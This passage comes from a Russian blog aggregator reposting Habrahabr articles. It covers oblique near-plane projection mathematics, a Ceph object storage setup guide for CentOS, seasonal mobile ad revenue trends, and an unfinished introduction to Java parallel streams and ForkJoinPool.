            \vec{Q}{^'}=\langle sgn(C{^'} _x), sgn(C{^'} _y), 1, 1\rangle.

            Для большинства перспективных проекций, знаки компонент C{^'} _x и C{^'} _y у преобразованных плоскостей совпадут со знаками соответствующих компонент C _x и C _y, что нам позволяет воспользоваться знаками координатного разложения исходной плоскости.
            Имея компоненты преобразованного угла \vec{Q}{^'}, мы уже можем вычислить компоненты оригинального угла \vec{Q}, лежащего напротив плоскости \vec{C}, как \vec{Q}=\mathbf{M}{^{-1}}\vec{Q}{^'}. В обычной пирамиде видимости, точка \vec{Q} в вершине угла, образованного пересечением двух боковых плоскостей и дальнего плана, лежащая напротив плоскости \vec{C}, является наиболее удаленной от плоскости \vec{C} точкой.
            Чтобы наш дальний план содержал точку \vec{Q}, должно выполняться условие \vec{F}\cdot\vec{Q}=0, дополним Выражение (14) масштабирующим плоскость \vec{C} фактором \alpha

            \vec{F}=2\vec{M}_4-\alpha\vec{C}

            и найдем из условия \vec{F}\cdot\vec{Q}=0 масштабирующий фактор:

            \alpha=\frac{2\vec{M}_4\cdot\vec{Q}}{\vec{C}\cdot\vec{Q}.

            Замена \vec{C} на \alpha\vec{C} в Выражении (13)

            \vec{M}_3{^'}=\alpha\vec{C}-\vec{M}_4

            и позволит нам оптимальным образом сориентировать дальний план пирамиды видимости, как показано на Рис. 7 (b) (данная техника замещения работает корректно и для пирамиды видимости, дальний план которой удален на бесконечность,– случай бесконечной проекционной матрицы,– для этого достаточно потребовать, чтобы дальний план был параллелен одной из двух образующих противоположный плоскости \vec{C} угол граней).

            Практическое использование произведенных выше наблюдений


            Все ранее проделанные теоретические изыскания распространяются на любые обратимые проекционные матрицы, но, поскольку, в качестве примера уже привлекалась стандартная для OpenGL матрица в Выражении (10), то логично продолжить цепочку примеров с нею же.
            Обратная матрица к ней будет выглядеть таким образом:

            \mathbf{M}{^{-1}}= \begin{bmatrix}
\frac{r-l}{2n} &0  & 0 &\frac{r+l}{2n}\\[0.3em]
0 &\frac{t-b}{2n}  &0 &\frac{t+b}{2n}\\[0.3em]
0 & 0 &0 &-1\\[0.3em]
0 &0 &-\frac{f-n}{2nf} & \frac{f+n}{2nf}
\end{bmatrix}

            Получим значение для третьей строки модифицированной проекционной матрицы, как предложено Выражением (18) с учетом \alpha из Выражения (17):

            \vec{M}_3{^'}={\frac{2\vec{M}_4\cdot\vec{Q}}{\vec{C}\cdot\vec{Q}} \vec{C}-\vec{M}_4

            Поскольку \vec{M}_4=\langle 0, 0, -1, 0\rangle, то это выражение можно записать как

            \vec{M}_3{^'}={\frac{-2Q_z}{\vec{C}\cdot\vec{Q}} \vec{C}+\langle 0, 0, 1, 0\rangle

            Умножив обратную матрицу из Выражения (19) на \vec{Q}{^'} из Выражения (15), мы получим \vec{Q}:

            \vec{Q}=\begin{bmatrix}
sgn(C_x)\frac{r-l}{2n}+\frac{r+l}{2n}\\[0.5em]
sgn(C_x)\frac{t-b}{2n}+\frac{t+b}{2n}\\[0.5em]
-1\\[0.3em]
1/f
\end{bmatrix}

            Чтобы убедиться в правильности разработанного метода модифицирования проекционной матрицы, рассмотрим частный случай расположения плоскости отсечения \vec{C} перпендикулярно оси z, т.е. параллельно обычному ближнему плану пирамиды видимости,— в координатной записи такая плоскость будет выглядеть как \vec{C}=\langle 0, 0, -1, -d \rangle, где d-некоторая положительная дистанция. Естественно ожидать, что в новой проекционной матрице для пирамиды видимости, ближний план которой удалён на расстояние d от камеры, дальний план останется в своей прежней позиции.
            Скалярное произведение \vec{C}\cdot\vec{Q} для такой плоскости будет равно 1-d/f, а Выражение (21) для вычисления третьей строки модифицированной матрицы проекции приведет к

            \begin{array}{l}\vec{M}_3{^'}={\frac{2}{1-d/f}}\langle 0, 0, -1, -d\rangle+\langle 0, 0, 1, 0\rangle \\[0.3em]
\qquad {}= \langle 0, 0, -\frac{f+d}{f-d}, -\frac{2fd}{f-d} \rangle\end{array}

            — результату, совпавшему с ожиданиями: при d=n третья строка модифицированной матрицы совпадает с третьей строкой проекционной матрицы из Выражения (10).

            Как уже предполагалось выше, следует ожидать, что процесс растеризации не будет столь же привычным, как в случае немодифицированной пирамиды видимости. Полный диапазон значений буфера глубины не будет достигаться вдоль различных направлений внутри пирамиды видимости вследствие изменения в геометрии пирамиды. Возьмем вектор произвольного направления \vec{V}=\langle V_x, V_y, V_z, 0\rangle в пространстве камеры вида, для которого V_z<0, и исследуем нормализованную z-координату точки \langle 0, 0, 1, 0\rangle + s\vec{V}, расположенной внутри пирамиды видимости:

            \begin{array}{l}z(s)={\cfrac{(\mathbf{M}{^'}\langle sV_x, sV_y, sV_z, 1\rangle)_z}{(\mathbf{M}{^'}\langle sV_x, sV_y, sV_z, 1\rangle)_w}} \\[0.8em]
\qquad {}= {\cfrac{(\alpha\vec{C}-\vec{M}_4)\cdot\langle sV_x, sV_y, sV_z, 1\rangle}{\vec{M}_4\cdot\langle sV_x, sV_y, sV_z, 1\rangle}}\end{array},

            где \alpha-масштабирующий фактор, введенный Выражением (17). Для \vec{M}_4=\langle 0, 0, -1, 0\rangle, Выражение (24) становится

            \begin{array}{l}z(s)=\cfrac{\alpha sC_xV_x+\alpha sC_yV_y+\alpha sC_zV_z+sV_z+\alpha C_w}{-sV_z} \\[0.8em]
\qquad {}=\cfrac{\alpha s (\vec{C}\cdot \vec{V}) +sV_z+\alpha C_w}{-sV_z}\end{array}.

            Мы полагаем, что скалярное произведение \vec{C}\cdot \vec{V} \geq 0, поскольку иначе точка \langle 0, 0, 1, 0\rangle + s\vec{V} лежала бы вне пирамиды видимости. Рассмотрим ситуацию, когда s стремится к бесконечности:

            \lim_{s \to \infty} z(s)=-\cfrac{\alpha(\vec{C}\cdot \vec{V})+V_z}{V_z},

            полученное выражение указывает максимально достижимое значение нормализованной z-координаты в направлении \vec{V}.
            Исследуем направление \vec{V}=\langle 0, 0, -1, 0\rangle вдоль взгляда прямого взгляда из позиции камеры: предельное значение, указанное Выражением (26), меньше единицы, если выполняется условие \alpha C_z >-2. В этом случае, z-координата дальнего плана \vec{F}, заданного Выражением (16), меньше нуля, и дальний план не является плоскостью, ограничивающей объем пирамиды видимости. Поскольку дальний план может оказаться не достижимым вдоль направления \vec{V}, диапазон нормализованных значений для буфера глубины может оказаться существенно уже, чем в случае обычной пирамиды видимости.

            Хорошей практикой для программиста будет, перед тем, как утвердить для дальнейшей работы выбранную пространственную модель, исследовать поведение нормализованной координаты внутри модифицированной (скошенной | oblique frustum) пирамиды видимости. Своевременно обнаружив проблемные места, он может поправить или положение камеры, или изменить угол наклона секущей плоскости таким образом, чтобы упростить работу буфера глубины, по возможности приблизив её к нормальному режиму. Затраты на такое действие не будут особенно значительными, но результат послужит спокойствию перфекциониста.
            Продолжая эксплуатировать стандартную матрицу проекции из Выражения (10), легко перейти к очередному примеру её использования для исследования значений нормализованной z-координаты внутри модифицированной пирамиды видимости:
            допустим, что плоскость, отсекающая неугодную нам геометрию, и которой мы замещаем ближний план пирамиды видимости, в направляющих косинусах представлена как \vec{C}=\langle C_x, C_y, -C_z, -d \rangle, и, в нашем частном случае, C_x, C_y, C_z имеют положительные значения (плоскость лежит напротив правого верхнего угла пирамиды), при этом C_z-угол между отрицательным направлением оси z и нормальным вектором нашей плоскости. Рассмотрим изменение нормализованной z-координаты вдоль отрицательного направления оси z в зависимости от угла между нормальным вектором плоскости ближнего плана и отрицательным направлением оси z, и расстоянием от камеры до ближнего плана.

            Скалярное произведение \vec{C}\cdot\vec{Q} для этого случая, с учетом Выражения (22) даст следующий результат:

            \vec{C}\cdot\vec{Q}=\cfrac{rfC_x+tfC_y-n(d-fC_z)}{nf},

            и третья строка преобразованной матрицы проекции приобретет вид

            \begin{array}{l}\vec{M}_3{^'}={\cfrac{2nf\langle C_x, C_y, -C_z, -d\rangle}{rfC_x+tfC_y-n(d-fC_z)}+\langle 0, 0, 1, 0\rangle}\end{array}.

            Рассмотрим поведение нормализованной координаты z в направлении фронтального вида из камеры для точек \vec{P}=\langle 0, 0, P_z, 1 \rangle, из диапазона значений P_z \in [-n, -f]: нормализованная z-координата для этого случая станет

            z={\frac{P_z^'}{P_w^'}}=-\cfrac{(rfC_x+tfC_y-n(d+fC_z))P_z-2nfd}{(rfC_x+tfC_y-n(d-fC_z))P_z} \; .

            Последнее Выражение вполне подходит для целей численного исследования. Пример такого исследования можно видеть на Рис. 8. Диапазон нормализованных значений, предназначенных для буфера глубины, сильно сужается с ростом угла между нормалью плоскости и отрицательным направлением оси z, также значительно ухудшить точность работы буфера глубины может перемещение ближнего плана по направлению от камеры к дальнему плану (известно, что слишком близкое размещение к камере ближнего плана также неблагоприятно сказывается на значениях нормализованных координат).
            modified far plane

            Рис. 8. Сужение диапазона нормализованной z-координаты в направлении проекции

            [Из песочницы] Выбор и настройка SDS Ceph

            Вторник, 26 Сентября 2017 г. 18:29 + в цитатник
            mpv86 сегодня в 18:29 Администрирование

            Выбор и настройка SDS Ceph

            Всем привет, Уважаемые читатели и практики!

            Щупал я всякие разные и разнообразные Block/File Storage с SAN'ами и был в общем-то счастлив, пока не появилась задача понять — что же такое Object Storage? И при наличии уже многих решений на рынке выбрать тот самый…

            Зачем же Object Storage?


            Ну, во-первых — это система хранения, специально разработанная именно для хранения объектов. И это именно и прежде всего Storage.

            Во-вторых — система элегантно превращается в WORM (write once read many) и обратно.
            В-третьих — достигается разделение пулов с данными для разных пользователей, гибкая настройка квотирования по пользователям, размерам пулов, количеством объектов, количеством bucket в пулах. В общем, нормальный функционал администрирования системы хранения.
            В-четвертых, в-пятых и т.д. Каждый, кто знает зачем ему это нужно, уверен найдет еще не одно преймущество. А может и недостатки.

            Требования к выбору объектного хранилища:

            — де факто стандарт ОС — CentOS;
            — нужно объектное хранилище, резервированное между ЦОД;
            — по возможности быть совсем бесплатным.
            Совсем такие скудные и туманные требования.

            Начал я процесс поиска с обзора имеющихся:

            • ScaleIO — круто, просто, но шаг в сторону — лицензия, а так хочется независимости. И с ходу не нашел возможности обеспечения отказоустойчивости конфигурации для ЦОДов;
            • OpenIO — видимо начинающий проект и я не нашел описания нужного мне функционала;
            • Ceph — что же, можно попробовать. Изначальным скудным требованиям удовлетворяет.

            Остановив свой выбор на Ceph я встал на тропу хождения по граблям, коих оказалось достаточно, но и пройдены они были с оптимизмом.

            Первое, что было сделано — это выбор версии. Последнюю Luminous ставить не стал, только-только был релиз, а мы же серьезная компания. :) Про Hammer было много нареканий. Мне по душе пришелся Jewel в stable релизе. Создал репозиторий, зарсинкал его с ceph.com, поставил задания в крон и выпустил его через nginx. Еще нам нужен будет EPEL:

            # Синхронизуем репозиторий Ceph-Jewel
            /usr/bin/rsync -avz --delete --exclude='repo*' rsync://download.ceph.com/ceph/rpm-jewel/el7/SRPMS/ /var/www/html/repos/ceph/ceph-jewel/el7/SRPMS/
            /usr/bin/rsync -avz --delete --exclude='repo*' rsync://download.ceph.com/ceph/rpm-jewel/el7/noarch/ /var/www/html/repos/ceph/ceph-jewel/el7/noarch/
            /usr/bin/rsync -avz --delete --exclude='repo*' rsync://download.ceph.com/ceph/rpm-jewel/el7/x86_64/ /var/www/html/repos/ceph/ceph-jewel/el7/x86_64/
            # Синхронизуем репозиторий EPEL7
            /usr/bin/rsync -avz --delete --exclude='repo*' rsync://mirror.yandex.ru/fedora-epel/7/x86_64/ /var/www/html/repos/epel/7/x86_64/
            /usr/bin/rsync -avz --delete --exclude='repo*' rsync://mirror.yandex.ru/fedora-epel/7/SRPMS/ /var/www/html/repos/epel/7/SRPMS/
            # Обновляем репозиторий Ceph-Jewel
            /usr/bin/createrepo --update /var/www/html/repos/ceph/ceph-jewel/el7/x86_64/
            /usr/bin/createrepo --update /var/www/html/repos/ceph/ceph-jewel/el7/SRPMS/
            /usr/bin/createrepo --update /var/www/html/repos/ceph/ceph-jewel/el7/noarch/
            # Обновляем репозиторий EPEL7
            /usr/bin/createrepo --update /var/www/html/repos/epel/7/x86_64/
            /usr/bin/createrepo --update /var/www/html/repos/epel/7/SRPMS/


            и приступил к дальнейшему планированию и установке.

            Сначала необходимо нарисовать архитектуру решения, пусть даже и тестового, но которое может легко быть смаштабировано до прода, к которому мы будем стремиться. У меня получилось следующее:

            — по три OSD ноды в каждом ЦОД;
            — три MON ноды на трех площадках (по одной на каждой), которые будут обеспечивать большинство для кластера Ceph; (ноды-мониторы можно поднимать совместно с другими ролями, но я предпочел их сделать виртуальными и вынести вообще на VMWare)
            — две ноды RGW (по одной в каждом ЦОД), которые обеспечат доступ по API к Object Storage по протоколу S3 или Swift; (ноды-RadosGW можно поднимать совместно с другими ролями, но я предпочел их сделать виртуальными и тоже вынести на VMWare)
            — нода для деплоя и централизованного управления; (виртуальный сервер, который катается между ЦОД'ами в среде VMWare)
            — нода мониторинга кластера и текущего/исторического перфоманса. (та же история, что и с нодой деплоя)

            Спланировать сети — я же использовал одну сеть для «экосистемы» Ceph кластера. Для доступа к нодам деплоя, мониторинга и RGW нодам было проброшено две сети:

            — сеть Ceph кластера, для доступа к ресурсам;
            — сеть «public», для доступа «из-вне» к этим нодам.
            Официальная документация рекомендует внутри кластера использовать разные сети для heartbeat и движения данных между OSD нодами, хотя та же документация гласит, что использование одной сети уменьшает latency… Я выбрал одну сеть для всего кластера.

            Установка кластера начинается с базовой процедуры: подготовка серверов-нод с ОС CentOS.
            — настраиваем репозитории, если они локальные. (например, как у меня) Еще нам потребуется EPEL-репозиторий;
            — на всех нодах в /etc/hosts вносим информацию о всех нодах кластера. Если в инфраструктуре используется DHCP, то лучше сделать bind для адресов и все-равно заполнить /etc/hosts;
            — настраиваем ntp и синхронизуем время, это критично, для корректной работы Ceph;
            — создаем пользователя для управления кластером Ceph, любое имя, главное не одноименное — ceph.

            Например так:

            sudo useradd -d /home/cephadmin -m cephadmin
            sudo passwd cephadmin
            echo "cephadmin ALL = (root) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/cephadmin
            chmod 0440 /etc/sudoers.d/cephadmin


            — устанавливаем ssh-сервер на ноде деплоя, генерируем ключи для созданного пользователя, копируем ключи на все ноды кластера, прописываем в sudo с опцией NOPASSWD. Нам нужно будет получить для пользователя беспарольный вход с деплой-ноды на все ноды кластера;
            — у созданного пользователя в каталоге .ssh создаем файлик config, описываем все ноды и ставим права 600 на этот файл;

            [cephadmin@ceph-deploy .ssh]$ cat config
            Host ceph-cod1-osd-n1
            Hostname ceph-cod1-osd-n1
            User cephadmin
            ...................
            Host ceph-cod2-osd-n3
            Hostname ceph-cod2-osd-n3
            User cephadmin


            — открываем порты 6789/tcp и 6800-7100/tcp в firewalld, если вы его решили оставить;
            — отключаем SELinux; (хотя с версии ceph — Jewel с установкой накатываются нормальные SE-политики)
            — на ноде управления кластером выполняем yum install ceph-deploy.

            Вроде все готово! Переходим к установке и настройке самого кластера


            В домашнем каталоге нашего пользователя создаем директорию, где будут лежать конфиги кластера. Эту папку лучше не терять, т.к. восстановить будет весьма проблематично. В процессе конфигурации кластера и прикручивания разных ролей и сервисов, эта директория будет пополняться файликами и ключиками.

            Создаем первую MON ноду в нашем будущем кластере: ceph-deploy new #имя_нашей_MON_ноды. В созданной ранее директории появился файл ceph.conf, в который теперь будет вноситься описание кластера и применяться его содержимое на нужных нам нодах.

            Устанавливаем сам Ceph-Jewel на всех нодах: ceph-deploy install --release=jewel --no-adjust-repos #нода1 #нода2… #нодаN. Ключ --no-adjust-repos необходимо использовать, если репозиторий для установки локальный и чтобы установочный скрипт искал путь в существующих /etc/yum.repos.d/*.repo, а не пытался прописать свой репозиторий. С версии Jewel по умолчанию ставится stable версия, если явно не указано обратное.

            После успешной установки инициализируем кластер ceph-deploy mon create-initial

            По завершении инициализации кластера, в файл ceph.conf записывается первоначальная конфигурация, в том числе и fsid. Если этот fsid в последствии будет изменен или потерян кластером — это приведет к его «развалу» и, как следствие, потери информации! Итак, после наличия первоначальной конфигурации в ceph.conf мы его смело открываем (сделав backup) и начинаем править и вносить те значения, которые нам нужны. При проливке по нужным нам нодам обязательно указываем опцию --overwrite-conf. Ну и примерное содержание нашего конфига:

            [root@ceph-deploy ceph-cluster]# cat /home/cephadmin/ceph-cluster/ceph.conf
            [global]
            fsid = #что-то_там
            mon_initial_members = ceph-cod1-mon-n1, ceph-cod1-mon-n2, ceph-cod2-mon-n1
            mon_host = ip-adress1,ip-adress2,ip-adress3
            auth_cluster_required = cephx
            auth_service_required = cephx
            auth_client_required = cephx

            #Choose reasonable numbers for number of replicas and placement groups.
            osd pool default size = 2 # Write an object 2 times
            osd pool default min size = 1 # Allow writing 1 copy in a degraded state
            osd pool default pg num = 256
            osd pool default pgp num = 256

            #Choose a reasonable crush leaf type
            #0 for a 1-node cluster.
            #1 for a multi node cluster in a single rack
            #2 for a multi node, multi chassis cluster with multiple hosts in a chassis
            #3 for a multi node cluster with hosts across racks, etc.
            osd crush chooseleaf type = 1

            [client.rgw.ceph-cod1-rgw-n1]
            host = ceph-cod1-rgw-n1
            keyring = /var/lib/ceph/radosgw/ceph-rgw.ceph-cod1-rgw-n1/keyring
            rgw socket path = /var/run/ceph/ceph.radosgw.ceph-cod1-rgw-n1.fastcgi.sock
            log file = /var/log/ceph/client.radosgw.ceph-cod1-rgw-n1.log
            rgw dns name = ceph-cod1-rgw-n1.**.*****.ru
            rgw print continue = false
            rgw frontends = «civetweb port=8888»

            [client.rgw.ceph-cod2-rgw-n1]
            host = ceph-cod2-rgw-n1
            keyring = /var/lib/ceph/radosgw/ceph-rgw.ceph-cod2-rgw-n1/keyring
            rgw socket path = /var/run/ceph/ceph.radosgw.ceph-cod2-rgw-n1.fastcgi.sock
            log file = /var/log/ceph/client.radosgw.ceph-cod2-rgw-n1.log
            rgw dns name = ceph-cod2-rgw-n1.**.*****.ru
            rgw print continue = false
            rgw frontends = «civetweb port=8888»


            Также есть пара замечаний:

            — если сервис ceph-radosgw.* не стартует, то у меня была проблема с созданием файла логов. Решил это просто создав файл руками и поставив на него маску 0666;
            — можно выбирать провайдера API к кластеру между civetweb, fastcgi и apache, вот что глаголит официальная дока:
            As of firefly (v0.80), Ceph Object Gateway is running on Civetweb (embedded into the ceph-radosgw daemon) instead of Apache and FastCGI. Using Civetweb simplifies the Ceph Object Gateway installation and configuration.

            Если вкратце, то в нашем файле я прописал глобальные переменные, правила репликации и правило «выживания» кластера, а также RGW ноды, допущенные к кластеру. Что касается параметров osd pool default pg num и osd pool default pgp num была найдена интересная заметка:
            And for example a count of 64 total PGs. Honestly, protection group calculations is something that still does not convince me totally, I don’t get the reason why it should be left to the Ceph admin to be manually configured, and then often complain that is wrong. Anyway, as long as it cannot be configured automatically, the rule of thumb I’ve find out to get rid of the error is that Ceph seems to be expecting between 20 and 32 PGs per OSD. A value below 20 gives you this error, and a value above 32 gives another error.
            So, since in my case there are 9 OSDs, the minimum value would be 9*20=180, and the maximum value 9*32=288. I chose 256 and configured it dinamically.

            И вот эта:
            PG (Placement Groups) — группа размещения или логическая коллекция объектов в Ceph, которые реплицируются в OSD. Одна группа может сохранять данные на несколько OSD, в зависимости уровня сложности системы. Формула для вычисления групп размещения для Ceph следующая:

            Кол-во PG = (кол-во OSD * 100) / кол-во реплик

            При этом результат должен быть округлён до ближайшей степени двойки (например, по формуле = 700, после округления = 512).
            PGP (Placement Group for Placement purpose) — группы размещения для целей расположения. Количество должно быть равным общему числу групп размещения.

            И на всех нодах, где есть ключ, меняем права: sudo chmod +r /etc/ceph/ceph.client.admin.keyring

            До того, как OSD устройства вводить в кластер, на OSD нодах необходимо выполнить подготовительные работы:

            Разбиваем диск для использования под журнал. Это должен быть SSD (но не обязательно, достаточно просто выделенного диска) и быть разделен не более чем на 4 равные партиции, т.к. партиции должны быть primary:

            parted /dev/SSD
            mkpart journal-1 1 15G
            mkpart journal-2 15 30G
            mkpart journal-3 31G 45G
            mkpart journal-4 45G 60G


            И форматируем в xfs. Меняем права на диски на OSD нодах, которые предназначены для журналов и которые будут управляться Ceph:

            chown ceph:ceph /dev/sdb1
            chown ceph:ceph /dev/sdb2
            chown ceph:ceph /dev/sdb3


            И обязательно меняем GUID для этих партиций, чтобы корректно отрабатывал udev и приезжали правильные права на устройства после перезагрузки. Я наступил на эти грабли, когда после перезагрузки OSD нода поднялась, но сервисы были в состоянии failed. Т.к. правильно отработавший udev назначил владельца и группу по умолчанию root:root. Как говорится результат превзошел ожидания… Чтобы этого не случилось делаем так:

            sgdisk -t 1:45B0969E-9B03-4F30-B4C6-B4B80CEFF106 /dev/sdb
            GUID должен быть именно такой


            После с нашей деплой ноды выполняем ceph-deploy disk zap и ceph-deploy osd create. На этом базовая инсталляция кластера закончена и можно посмотреть его состояние командами ceph -w и ceph osd tree.

            А как же нам обеспечить отказоустойчивость по ЦОД'ам?

            Как оказалось в Ceph есть очень сильный инструмент — работа с crushmap
            В этой карте можно вводить несколько уровней абстракции и я сделал до примитивного просто — я ввел понятие rack и в каждый rack разложил ноды по признаку ЦОД'а. С этого момента у меня данные были перераспределены таким образом, что, записанные в один rack имели обязательную реплику в другом rack. Т.к. алгоритм Ceph считает хранение двух реплик в одной «стойке» ненадежным. :) Вот собственно и все, причем, выключение всех нод одного ЦОД'а действительно оставило данные доступными.

            [cephadmin@ceph-deploy ceph-cluster]$ ceph osd tree
            ID WEIGHT TYPE NAME UP/DOWN REWEIGHT PRIMARY-AFFINITY
            -1 1.17200 root default
            -8 0.58600 rack ceph-cod1
            -2 0.19499 host ceph-cod1-osd-n1
            0 0.04900 osd.0 up 1.00000 1.00000
            1 0.04900 osd.1 up 1.00000 1.00000
            2 0.04900 osd.2 up 1.00000 1.00000
            3 0.04900 osd.3 up 1.00000 1.00000
            -3 0.19499 host ceph-cod1-osd-n2
            4 0.04900 osd.4 up 1.00000 1.00000
            5 0.04900 osd.5 up 1.00000 1.00000
            6 0.04900 osd.6 up 1.00000 1.00000
            7 0.04900 osd.7 up 1.00000 1.00000
            -4 0.19499 host ceph-cod1-osd-n3
            8 0.04900 osd.8 up 1.00000 1.00000
            9 0.04900 osd.9 up 1.00000 1.00000
            10 0.04900 osd.10 up 1.00000 1.00000
            11 0.04900 osd.11 up 1.00000 1.00000
            -9 0.58600 rack ceph-cod2
            -5 0.19499 host ceph-cod2-osd-n1
            12 0.04900 osd.12 up 1.00000 1.00000
            13 0.04900 osd.13 up 1.00000 1.00000
            14 0.04900 osd.14 up 1.00000 1.00000
            15 0.04900 osd.15 up 1.00000 1.00000
            -6 0.19499 host ceph-cod2-osd-n2
            16 0.04900 osd.16 up 1.00000 1.00000
            17 0.04900 osd.17 up 1.00000 1.00000
            18 0.04900 osd.18 up 1.00000 1.00000
            19 0.04900 osd.19 up 1.00000 1.00000
            -7 0.19499 host ceph-cod2-osd-n3
            20 0.04900 osd.20 up 1.00000 1.00000
            21 0.04900 osd.21 up 1.00000 1.00000
            22 0.04900 osd.22 up 1.00000 1.00000
            23 0.04900 osd.23 up 1.00000 1.00000


            P.S. Что же хочется сказать?

            В принципе Ceph оправдал мои ожидания. Как объектного хранилища. Конечно есть особенности его настройки и организация пулов для такого вида хранения не совсем «книжная» — типа вот есть пул с датой, а это пул с метадатой. Об этом я еще постараюсь рассказать.

            Также пробовал поиграться с блочным хранением. К сожалению «выбрасывать» блочные устройства через FC Ceph не умеет, или я не нашел как. Что до iSCSI — по мне это не true и happy way. Хотя это работает, даже с MPIO.

            Три источника, которые мне показались наиболее полезными:
            официальный
            неофициальный
            шпаргалка
            Original source: habrahabr.ru (comments, light).

            https://habrahabr.ru/post/338782/


            Метки:  

            Мобильные приложения: что такое предпраздничный сезон-2017 и как заработать на нем максимум?

            Вторник, 26 Сентября 2017 г. 17:54 + в цитатник
            lera_alfimova сегодня в 17:54 Маркетинг

            Мобильные приложения: что такое предпраздничный сезон-2017 и как заработать на нем максимум?

              Предновогодние месяцы — время, когда разработчики могут получить максимум от рекламы. В этот период бренды активно вкладываются в рекламу, чтобы оказаться на виду у покупателей во время праздничного шоппинга. Почему мы решили написать об этом сейчас? Потому что готовиться к сезону и настраивать источники рекламы нужно заранее, то есть — в октябре.

              Если ваше приложение направлено на американскую аудиторию, то вы наверняка знаете, что США — наиболее конкурентный рекламный рынок с самым высоким eCPM. В таком случае приготовьтесь к ключевым датам — в эти дни американские бренды будут соревноваться друг с другом за показы мобильной рекламы.



              Накануне этих праздников убедитесь, что источники рекламы в вашем приложении работают исправно.

              Кроме того, важно понимать, что после рождественского пика в течение первого квартала eCPM, скорее всего, будет снижаться. Это касается всех рекламных форматов.


              Баннеры всегда популярны среди рекламодателей, особенно во время праздников (данные Appodeal за 2016-17 гг)
              На графике выше хорошо заметно, что eCPM по баннерной рекламе с декабря 2016 по январь 2017 снизился на 46%. Иными словами, если вы встраиваете рекламу в приложение в январе, вы рискуете упустить до 81% подросшей выручки только лишь из-за промедления в один месяц. В этом деле все решают сроки.


              Rewarded video (видео с вознаграждением) стремительно растет. Согласно прогнозам, eCPM для этого вида рекламы в предстоящий сезон праздников обгонит 2016 год c высоким показателем доходности (данные Appodeal).
              eCPM для rewarded video с декабря 2016 по январь 2017 снизился всего на 9%. Потенциальные потери из-за упомянутой ранее задержки в месяц — 10% увеличенной рекламной выручки.


              Полноэкранные статичные баннеры по-прежнему популярны, однако, согласно прогнозам, по этому виду рекламы eCPM ожидается довольно невысокий (данные Appodeal).
              eCPM этого формата снизился на 20% с декабря по январь. Из-за задержки в месяц разработчик может упустить до 25% от сезонно выросшей рекламной выручки.


              Полноэкранная видеореклама обещает сильно вырасти в декабре, потому что бренды хотят донести рекламные сообщения в самом впечатляющем формате (данные Appodeal).
              eCPM для полноэкранного видео снизился на 18% с декабря 2016 по январь 2017 — это означает, что из-за задержки в месяц есть риск упустить до 21% от возможного рекламного дохода.

              Как показывают графики выше, некоторые рекламные форматы — например, rewarded videos и статичная полноэкранная реклама, — вернулись к высокому уровню eCPM к марту. А такие форматы как баннеры и полноэкранное видео добираются до пика eCPM только в течение праздников.


              Правильные рекламные сети — еще один важный фактор, который влияет на повышенный доход в праздничный период. Некоторые из сетей просто более популярны среди крупных рекламодателей.

              Вот список рекламных сетей, который показали наилучшие результаты в декабре 2016 года по сравнению с их средним ежегодным eCPM по США (по данным Appodeal):



              Вывод очевиден: если вы планируете встроить рекламу в свое приложение, сделайте это заранее, чтобы не пропустить сезонный рост дохода. В октябре же стоит начать интеграцию и оптимизацию монетизационной стратегии — тогда вы точно выиграете от повышения eCPM ближе к рождественским праздникам.
              Original source: habrahabr.ru (comments, light).

              https://habrahabr.ru/post/338772/


              Stream API & ForkJoinPool

              Вторник, 26 Сентября 2017 г. 17:53 + в цитатник
              MaxRokatansky сегодня в 17:53 Разработка

              Stream API & ForkJoinPool

                Продолжаем серию полезностей, которыми мы делимся с вами. Теперь уже вновь по Java.

                Если вы уже знакомы со Stream API и использовали его, то знаете, что это удобный способ обработки данных. С помощью различных встроенных операций, таких как map, filter, sort и других можно преобразовать входящие данные и получить результат. До появления стримов разработчик был вынужден императивно описывать процесс обработки, то есть создавать цикл for по элементам, затем сравнивать, анализировать и сортировать при необходимости. Stream API позволяет декларативно описать, что требуется получить без необходимости описывать, как это делать. Чем-то это напоминает SQL при работе с базами данных.



                Стримы сделали Java-код компактнее и читаемее. Еще одной идеей при создании Stream API было предоставить разработчику простой способ распараллеливания задач, чтобы можно было получить выигрыш в производительности на многоядерных машинах. При этом нужно было избежать сложности, присущей многопоточному программированию. И это удалось сделать, в Stream API есть методы BaseStream::parallel и Collection.parallelStream(), которые возвращают параллельный стрим.

                То есть, если у нас был код:

                Collection.stream().operation()

                то его легко распараллелить, если изменить один вызов
                Collection.parallelStream().operation()

                либо в общем случае для произвольного stream:
                Source.stream().parallel().operation()


                Как и за всяким простым API, за parallelStream() скрывается сложный механизм распараллеливания операций. И разработчику придется столкнуться с тем, что использование параллельного стрима может не улучшить производительность, а даже ухудшить её, поэтому важно понимать, что происходит за вызовом parallelStream(). Есть статья Doug Lea о том, в каких случаях использование параллельных стримов даст положительный эффект. Следует обратить внимание на следующие факторы:

                F — операция, которая будет применяться к каждому элементу стрима. Она должна быть независимой — то есть не оказывает влияние на другие элементы, кроме текущего и не зависит от других элементов (stateless non-interfering function)

                S — источник данных (коллекция) эффективно разделима (efficiently splittable). Например, ArrayList — это эффективно разделимый источник, легко вычислить индексы и интервалы, которые можно обрабатывать параллельно. Также эффективно обрабатывать HashMap. BlockingQueue, LinkedList и большинство IO-источников это плохие кандидаты для параллельной обработки.

                Оценка преимущества параллельной обработки. На современных машинах имеет смысл распараллеливать задачи, время выполнения которых превышает 100 микросекунд.

                Таким образом, прежде чем использовать этот инструмент, нужно понять, насколько ваша задача укладывается в описанные ограничения.

                Экспериментируя с parallel() наткнулись ещё на один интересный момент, связанный с текущей реализацией. Parallel() пытается исполнять ваш код в несколько потоков и становится интересно, кто эти потоки создаёт и как ими управляет.

                Попробуем запустить такой код:

                void parallel() {
                  int result = IntStream.range(0, 3)
                       .parallel()
                       .peek(it -> System.out.printf("Thread [%s] peek: %d\n", Thread.currentThread().getName(), it))
                       .sum();
                  System.out.println("sum: " + result);
                }
                


                Thread [ForkJoinPool.commonPool-worker-1] peek: 0
                Thread [main] peek: 1
                Thread [ForkJoinPool.commonPool-worker-0] peek: 2
                sum: 3


                Уже интересно, оказывается, по умолчанию parallel stream используют ForkJoinPool.commonPool. Этот пул создается статически, то есть при первом обращении к ForkJoinPool, он не реагирует на shutdown()/shutdownNow() и живет, пока не будет вызван System::exit. Если задачам не указывать конкретный пул, то они будут исполняться в рамках commonPool.

                Попробуем выяснить, каков же размер commonPool и посмотрим в исходники jdk1.8.0_111. Для читаемости убраны некоторые вызовы, которые не относятся к parallelism.
                ForkJoinPool::makeCommonPool
                
                private static ForkJoinPool makeCommonPool() {
                   int parallelism = -1;
